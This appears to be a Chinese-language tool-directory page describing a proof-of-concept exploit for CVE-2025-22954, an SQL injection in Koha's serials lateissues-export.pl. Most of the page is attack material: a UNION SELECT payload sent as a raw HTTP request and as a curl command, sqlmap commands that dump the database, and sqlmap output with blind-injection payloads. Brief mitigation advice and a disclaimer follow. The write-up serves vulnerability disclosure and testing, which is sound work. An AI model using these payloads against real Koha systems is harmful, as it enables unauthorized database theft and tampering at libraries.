Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-22954 — Koha CVE-2025-22954: SQL Injection in lateissues-export.pl | Kitploit
工具/GitHubGitHub/randomrobbiebf/cve-2025-22954
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubrandomrobbiebf/cve-2025-22954

CVE-2025-22954

Koha CVE-2025-22954: SQL Injection in lateissues-export.pl

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Koha CVE-2025-22954:lateissues-export.pl 中的 SQL 注入漏洞

概述

本仓库包含 CVE-2025-22954 的概念验证,这是一个严重影响级别(CVSS 10.0)的 SQL 注入漏洞,影响 24.11.02 之前的 Koha 版本。该漏洞存在于 C4/Serials.pm 的 GetLateOrMissingIssues 函数中,该函数由 /serials/lateissues-export.pl 脚本调用。漏洞可通过 supplierid 或 serialid 参数进行利用。

CVE IDCVE-2025-22954
CVSS v310.0(严重)
EPSS 评分0.03%(前 5.26%)
发布日期2025 年 3 月 12 日
修复版本Koha 24.11.02
漏洞参考Koha Bug #38829
发布说明Koha 24.11.02 发布

漏洞详情

该漏洞源于 lateissues-export.pl 脚本中 supplierid 和 serialid 参数对用户输入的不安全处理,这些参数被传递到 C4/Serials.pm 中的 GetLateOrMissingIssues 函数。该函数在使用这些输入构造 SQL 查询时未进行正确的清理或参数化,导致 SQL 注入攻击。

受影响代码

存在漏洞的脚本(lateissues-export.pl)包含以下代码:

root@kitploit:~
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

C4/Serials.pm 中的 GetLateOrMissingIssues 函数很可能包含易受攻击的 SQL 查询构建方式,其中 $supplierid 和 $serialid 参数直接拼接到 SQL 语句中,而未进行适当的参数化。

概念验证

该概念验证演示了具有期刊模块访问权限的已认证用户如何利用此漏洞从 Koha 数据库中提取敏感数据,或可能获得对底层数据库系统的未经授权访问。

前提条件

  • 存在漏洞的 Koha 实例(24.11.02 之前版本)
  • 对 lateissues-export.pl 脚本的访问权限

利用方法

HTTP 请求方法

以下原始 HTTP 请求可用于利用该漏洞:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

使用 curl

root@kitploit:~
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

使用 SQLMap

SQLMap 可用于自动化利用此漏洞。首先,捕获一个包含有效身份验证 Cookie 的对脆弱端点的请求,然后使用 SQLMap 利用注入点。

root@kitploit:~
# 将带有有效 Cookie 的请求保存到 request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

示例的 request.txt 文件:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

你也可以直接使用 SQLMap 利用该漏洞:

root@kitploit:~
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump
root@kitploit:~
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

影响

此漏洞允许已认证的攻击者:

  1. 从数据库中提取敏感信息
  2. 修改数据库中的数据
  3. 可能对数据库服务器执行任意命令
  4. 可能获得对底层操作系统的访问权限

缓解措施

升级到包含漏洞修复的 Koha 24.11.02 或更高版本。

如果无法立即升级,请考虑实施以下临时缓解措施:

  1. 仅允许受信任的 IP 地址访问 /serials/lateissues-export.pl 脚本
  2. 实施 Web 应用防火墙(WAF)规则以阻止对该端点的潜在恶意请求
  3. 修改 C4/Serials.pm 文件,对 GetLateOrMissingIssues 函数中的 SQL 查询进行适当的参数化

伦理考量

此概念验证仅供教育和防御目的使用。在测试任何系统的漏洞之前,请务必获取适当的授权。

免责声明

作者不对本信息的任何滥用负责。此概念验证仅应在您拥有或获得明确测试许可的系统上使用。

下载工具